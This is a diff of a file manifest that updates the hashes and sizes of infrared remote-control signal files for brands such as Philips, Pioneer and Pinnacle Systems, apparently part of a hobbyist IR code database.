-F:8aa9203f9cee86d2e0e43398aa82c936:618:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir -F:14378bee62a78605bd7c8a132dc3c077:7756:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir -F:f4b598705b855a619b3d5dbad2d65f67:2767:infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir -F:11f273c06cf3be5ce50a1b07f78bde44:4061:infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir -F:f43d1b4928ea40f479ca6b5cffee964c:3516:infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir -F:ba19866524d3737ab3209f4834300eaf:1552:infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir -F:452a63286bfe7be5696734442776b6a4:3667:infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir -F:9e0f86546cf8ccab711cb6759e113916:4857:infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir -F:334fa8ee1222a42e1a8a4b26540070d0:2678:infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir -F:0429992c254ae869497a78ee9df9d79d:3413:infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir -F:89923ad822bf73a45fe89c3d8f9562b2:6158:infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir -F:03f2048b749a1959530d0a99724b5440:2751:infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir -F:9a40cc700d2e7b6a1547000b6a8e9190:2576:infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir -F:b3adf8266481bbb7494a732df76db6f2:2818:infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir -F:be433814e004f015e082049f0574a241:2617:infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir -F:0e4000067da88d790fc2b18e3b7a673a:3332:infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir -F:e2ea1c673f5b0b3329b88571c3cee22d:1913:infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir -F:d22901c2065d5d567ca8113e3835393d:2781:infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir -F:51cb4f7388933b8b94995826d5d7611a:996:infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir -F:3dd5418ba3415f44d8e35b7d3415a994:4610:infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir -F:a4d8229bc88493001a891354fa5e4b29:2471:infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir -F:b269aa484f4910eac9f7e2a12ee13ed7:8866:infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir -F:8dbf6f34e8a562a536f07b1d8ed06e25:3458:infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir -F:bcbad32f28d4ef20fa9ead3fc9af5db6:4321:infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir -F:0774312bc11518f94a48de4f7196c182:4299:infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir -F:6c27d1a5a92927287afcee5c518418c0:609:infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir -F:e9c1bf18cd9ace9b0387a92e17477ade:2968:infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir -F:924870d112e5e60ee548173319b108e7:3734:infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir -F:54c53885192d1c9f797b42bbbd671d22:2564:infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir -F:31cd3a9328a9f4bf5e12a5f183e92609:2688:infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir -F:2cd063e9e910889a08b437b491b8a239:2573:infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir -F:94caf501fcdc715e03050926f2c3c88d:3677:infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir -F:c150ebdbaaa12def70eee38cbf4b2eef:3246:infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir -F:c700df790aa8b4cd5ac80f39fb6f55c4:3119:infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir -F:5ac68b76b368dc33d0a5fb55f155526a:2096:infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir -F:8ca580465a2b23d1eed6e601b2bb09b4:3474:infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir -F:52a937c2d174a33b178810416930ad47:2702:infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir +F:5efdadc522dfc6e99171fe2dc07562f1:804:infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir +F:5273467bf5094743ace74f29b3da02d7:1379:infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir +F:8b0a5df3b35d814aab63477b392f8525:2916:infrared/_CSV-IRDB_/Philips/DSS/133,48.ir +F:db05baac52234280f8c174f6737fc0d2:1746:infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir +F:b0f22252406d3bc3d073fe15f4c63f6e:2708:infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir +F:54edf1815762bf2685e2450147cf50f3:27047:infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir +F:d71d27fc5833496916195b6dc0ef50e4:219:infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir +F:901549fd06afdc59d12e7879b63fee0d:893:infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir +F:0ff4cb0e0487abad0964a7aa550eb55a:1731:infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir +F:781a2b860f766bb6fd004f901f324e97:123:infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir +F:8cf60b06764e4ae354f37dd76f43f7cc:5648:infrared/_CSV-IRDB_/Philips/TV/0,-1.ir +F:a45c03a89b04880b412fecc9f72d2f79:908:infrared/_CSV-IRDB_/Philips/TV/3,-1.ir +F:66418da00d238ce8eb03a73fab9b34fd:2355:infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir +F:7d451c98be5e94edacaa667cf020849a:3831:infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir +F:d54862db60b582953aba7cb84f5e1f96:2618:infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir +F:7b27288ca31888c0aab1393bf4799afc:2136:infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir +F:fcc81fc16f356cb8c02b29726bb5ca53:2627:infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir +F:be3e9fb762a884a2562b62b27b5a5726:3768:infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir +F:c8cda4d9335346933da284302c8bfe55:3267:infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir +F:1ff93fc991f76a3ea6d2fb0a926d4aec:3971:infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir +F:85c36462184850d3766dcccee9819a4c:2806:infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir +F:248ff1a0c71ffe505e408225b61c774c:8048:infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir +F:1b4cb1e5d2ffa15e02ec8ac60d2e3cd2:2652:infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir +F:9681ff7fb9fdc22350d6bb9b2b1b4e37:1748:infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir +F:2608d7def4f48559cf9e1772ddbcc643:1386:infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir +F:3c5881d46d62eaaff81c815f95492888:1816:infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir +F:bd2c6b4948c7f752c383fc3859054c10:1116:infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir +F:d3e66be7930f582f599e12fd25e7d114:2331:infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir +F:eec440014fc61c6a8a8bc0e047b19bf3:2955:infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir +F:d5a8db054735e205b6be253aaee406d5:2962:infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir +F:071cca0653e08243b036e1cc22911d7d:2850:infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir +F:e480622553667c7563ab25baa0ed5ce1:2508:infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir +F:87ea85ffc79ef4da79a735da20282d5f:2958:infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir +F:f7078b91263f576476e7e2632ecd025e:4386:infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir +F:e5d19f86a5fed8836f369b15543fd118:2757:infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir +F:183d4bbd7c36f9d53d5b7d6fb9fad165:1803:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir +F:b57d572e0bb17a4636800971ea65008f:2261:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir +F:778814ca2909248763a661434c5ab80b:1967:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir +F:2825064c7a9ff133ff266081c0731308:3494:infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir +F:513b1869408fc90fc8230394f67ee452:2884:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir +F:9ab00812a17b847de9c47cda07ffd973:2137:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir +F:00e0006d429e19e0400ca8b8f0c7cbda:3409:infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir +F:e2cbd834a75464b64d0f49b6c6b2440f:3292:infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir +F:ccfafc3975f16e6e5c1ed9cd482c287a:1854:infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir +F:f74f75853ebddc4d203689cf3251b1e0:4920:infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir +F:d3f57f5d24780fbd7fb15ad6244adbe4:1669:infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir +F:8effe9fcce928a22687dffff74123575:2688:infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir +F:2cf2ea5319bd171b928788a9a1352ad4:580:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir +F:4f079c765d0238937216939aefdbc40b:7274:infrared/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir +F:b35387b090bef42bd7e364c092f540e8:2591:infrared/_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir +F:8ca40379ccd8891ca4134c09dcfcce6e:3813:infrared/_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir +F:14ae8be4a60be08e5d8b4eed480e4cc2:3292:infrared/_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir +F:3d93499249cb39a04348addfd4eba71a:1454:infrared/_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir +F:88680cfecf0199cd3836533a2b82252f:3437:infrared/_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir +F:ec3fc788a2ba2d521bde538c1e3f0b2f:4555:infrared/_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir +F:9e04d89c553537866c3fed9b799acc04:2508:infrared/_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir +F:789d62c40ded3d7825e21b70ea3f1c96:3195:infrared/_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir +F:d7f653298f8b5914336af042ca373e27:5766:infrared/_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir +F:c0e523e03598eea06386bfad1b48df3c:2575:infrared/_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir +F:0feb04ddf703fb1f559ba0ed221140f4:2412:infrared/_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir +F:72c619a32ea73f1c64e5a0646d56c450:2636:infrared/_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir +F:f3703a47570aacc42345c8968891e246:2453:infrared/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir +F:5753793ad1e7e220405008e7dbf39111:3120:infrared/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir +F:6e154761927a9c8b4a383a0bb9029c0a:1791:infrared/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir +F:82eb76b171475e83438db17a4096193a:2605:infrared/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir +F:5b102b3aaf7241703ebf3cf9873a7880:934:infrared/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir +F:d7109fe0d281ac8c4a9d8e54cbf933f1:4320:infrared/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir +F:52db49fadffcbcd427e245a7edd4b670:2307:infrared/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir +F:9d10b55f0d30ac3b4f57c706219e228e:8306:infrared/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir +F:b4017f16a65cd862e6c3548ade1c9b85:3240:infrared/_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir +F:b841158ad618adabc21f08f5d524b63c:4049:infrared/_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir +F:b80beef8f6f6ab590b0b8d369a815656:4027:infrared/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir +F:3002791981ad7b8f5e58312b1600c116:571:infrared/_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir +F:93f676e7f6af9d8b2c6f6e48ab9b5263:2780:infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir +F:adc66cce5a02ef3c45b77a21c4a37b13:3498:infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir +F:a7dde5a5c4093339898ecff09c14f2a3:2400:infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir +F:64a644a3b173d30806efdc7f076ff099:2518:infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir +F:e5fb9f50836ca965d750cad50c807b86:2409:infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir +F:8b9c6487f205f664dac215794f6dcfc4:3441:infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir +F:78c07b456d5c3e159f734575fbd797ac:3040:infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir +F:93e56388047075f6e2261e2ead8bf0f3:2919:infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir +F:dff2059cdcf7bff9eefd355f4b65cbb5:1962:infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir +F:baeefec50f18655877e5d619282c1d17:3256:infrared/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir +F:2cfde9321fea2e25242cb56b0be8bf22:2526:infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir D:infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige -F:69fc7afb672e71b376457caebfaea74a:4113:infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir +F:9efb303ef1ccfbae020382ee53930c2c:3853:infrared/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV D:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D -F:4901e8562e79281d3f4e43f8f45fd840:4012:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir -F:c7ec242b626a52303c603bd6e9942d11:2426:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir -F:29cdbe184aba51e87c1641c873be3726:2317:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir -F:bc68daaa10ad4eccf2ff5662d84d7506:4034:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir +F:b62bf16578385bc31f4afa4578deebef:3758:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir +F:63cee766dcb711e51ad393770e6db1cb:2274:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir +F:974cd66cdf96cafa6e7f8ea03a0de7fb:2171:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir +F:3922a49969eb3673c5e08487adcdf711:3780:infrared/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir D:infrared/_CSV-IRDB_/Pioneer/Amplifier D:infrared/_CSV-IRDB_/Pioneer/CD Jukebox D:infrared/_CSV-IRDB_/Pioneer/CD Player @@ -4758,82 +4758,82 @@ D:infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014 D:infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801 D:infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096 D:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer -F:8ec6c389a0493e8007ed61c19418406a:137:infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir -F:bfc3851aa663447e8f3c36896f43ccf5:135:infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir -F:4295df151ece2b285ac23d816be03d71:2785:infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir -F:1f26e5a9f4e415c41933cdb664ab5bfb:8018:infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir -F:45e40f17625f49f99ff13927748192e9:2448:infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir -F:a23e3d41ee020fafa13a07f35ecb67bb:213:infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir -F:4cf174a5d7728468e2758a27ae66263a:131:infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir -F:2cf66363810d1046835a10d5ce34b262:2121:infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir -F:73e1c138c5b146115e8639faab8d587f:2355:infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir -F:68fb367c5f32035ecdfc6f89a8b77c1f:4566:infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir -F:e605c9e77943e02ad14c1aea0937fb2a:3693:infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir -F:33a15d149f465f701ee972d13952b572:3616:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir -F:aa890724122a23e319525ecd7bd5046e:2736:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir -F:a77b89941c5764e5f3b828998d276292:11663:infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir -F:2171c4f2d05432260d0ecfbb6f117214:6651:infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir -F:3bade04790b34ff078193450ed9ae2aa:2424:infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir -F:4670b455bbc9e272ebf9450f85d8c6e0:10832:infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir -F:c79f5d68fefd697243e967e769b5bd31:1866:infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir -F:8641014e291142f9195e23c177e26bfe:1571:infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir -F:b89a57306b0ce243d72858bf79c00ea6:5828:infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir -F:6fe66b3984033227977576532317db95:7196:infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir -F:2987079f96c697747bd18840a08e82d6:474:infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir -F:10a17c5380a6aa09f34397de4302f1a5:4759:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir -F:72ac862301e8813180cf7bbea731dca5:2127:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir -F:b6232233aefdfff687195d6cfc1830c5:3416:infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir -F:56b87061aa8564f8931f90fff83d9077:2208:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir -F:8c6b84e5ad0a8821a8452a80cae7a4dd:3243:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir -F:ce54c927d8a0991c2ca89c3565c1a754:2982:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir -F:2ee59d1588762be969556d8fa7675673:2267:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir -F:af2ea702c7a9830863a17a1e70b1ce16:2295:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir -F:9a305846a2b0f50f9fd56a271aa31122:2284:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir -F:9303dc18d21131d73c6353a3436bffd3:2257:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir -F:e909cfc044975613c91e87f236c62ca7:4028:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir -F:3c4e557597f5370351ff44b266630285:3040:infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir -F:dfb2da6c6e0770805f2f51117c97f9e1:3211:infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir -F:59fffe44c14ec03775cfdd3bd8ea6d9f:2963:infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir -F:9db8ed113c267c96ff107cb0c534c728:3538:infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir -F:5721084a9b758d2b7e037b3d546eacb4:2197:infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir -F:c11598c0c1ce2e34f5b694d93e1e6613:3706:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir -F:a0ba321ac9e21220e2a4812a01ed0ecb:2582:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir +F:ee4b7ed7a2d4e789154f3b517756c96c:129:infrared/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir +F:09244ce4761baddf028f1bf1fa8055f0:127:infrared/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir +F:6a6b49fff8a116fb65d112fc83ba48b4:2603:infrared/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir +F:f86b9c308c84e4abba3c67a1b97dd3a1:7494:infrared/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir +F:2f8569e280cd424cee1c0c395bdae4b8:2290:infrared/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir +F:f4383e331655f38a5fd894ede260f6d2:199:infrared/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir +F:13b274f269f4309d7bbcc86a35bbac80:123:infrared/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir +F:2ae751dcff98fa2a6a0817b4fddd684d:1981:infrared/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir +F:1e69ed37e64063b94300495afccb6a7a:2203:infrared/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir +F:4a104c125c2dfb101faa094b7d868799:4270:infrared/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir +F:169a5c55437f4821c2141cf50db23f9a:3439:infrared/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir +F:b8f49410bd565c2deca6036b44076c42:3380:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir +F:9a3a1fc85767d94f0cfad8606dd1c923:2548:infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir +F:2dfeda7ac64d5568998f3d76be14702f:10911:infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir +F:1f86081f013287d20c380377d17fdd29:6193:infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir +F:306f0278fde60a305971ed02807d1645:2266:infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir +F:0816c549c9d14d0b0916753665ffc265:10140:infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir +F:90a14edb14ca3a1d0ad41167d62fb014:1738:infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir +F:718b0599175eb292c4c1a32ae26935f6:1467:infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir +F:8bb1706e898efc73319ff8b2d445864a:5460:infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir +F:3298be99605763805220ab41b67ff62c:6732:infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir +F:f1fd77ee1b9f01da0e22bcb1c845a661:442:infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir +F:095b3b89fc91ad595a36dc4ca27898e1:4457:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir +F:7544c3b455edb0728d487e6b09c09564:1993:infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir +F:7751a716765173382d38fc872130cda6:3198:infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir +F:0e35b290fdfc05946d28f13ce849dcc3:2068:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir +F:1a0b5f33617b8d3073f2fcde03aaa1fd:3037:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir +F:01b3796300f86d9b498bf1ed0e3a4b61:2794:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir +F:25fa0c093c86c685d828456b905c7b61:2121:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir +F:940aed7db865e4e1a4ded9971ddf6a71:2149:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir +F:6461f6eed07fb00979aad437547e298c:2138:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir +F:554b477d61c0530dc0fd742c9fd6a9ff:2111:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir +F:6a5bff1104ff0b73b6ca7e99f2e48b9c:3774:infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir +F:7b6a840ab3bfd244d3fd2b39292e713a:2846:infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir +F:3cfe75556a96324b039c47822bd12f67:3005:infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir +F:fd20352eceddc41c537025052304e0c1:2775:infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir +F:445656a47b04a477ecc59de34fea278f:3314:infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir +F:0e615858e02d573511e965c4af061c4e:2057:infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir +F:bd51874e7dccd9012a87959ae031e278:3470:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir +F:d2e8f3dff5439a0ba3bdc54df4129652:2418:infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir D:infrared/_CSV-IRDB_/PixelView/Unknown_2000 D:infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV -F:7211e23fa85f23809f8fe6d19bee5128:6279:infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir -F:9408b1bd4df5126cea6132f78e2a0d3b:5509:infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir +F:7ea0ce82d7249b977270f43ccfd190fe:5881:infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir +F:e71dd710a59b51b7083d38da1c1f795e:5159:infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir D:infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000 -F:198fdeda499f7b3f1ad44012cf8ba50c:4314:infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir +F:4adcfa9008bbcb3f9f895e2d3feaa0df:4042:infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir D:infrared/_CSV-IRDB_/Pragmatic/Router -F:190d18949a85b8b4c09168686007a1c3:743:infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir +F:db8d818acb2d1e41c10352fe51b458e2:693:infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir D:infrared/_CSV-IRDB_/ProPlay/Unknown_PS2 -F:5e0706a40f73c15deb7e39a83a27a79e:1674:infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir +F:00890e871b4b5c68e177e6ee2978b2d4:1570:infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir D:infrared/_CSV-IRDB_/Proceed/Surround Processor -F:aad6317bd6fa565a2564b8b1ec5e02cb:1844:infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir +F:f05f49fa375f123474695608f5745694:1722:infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir D:infrared/_CSV-IRDB_/Proscan/DVD Player D:infrared/_CSV-IRDB_/Proscan/TV 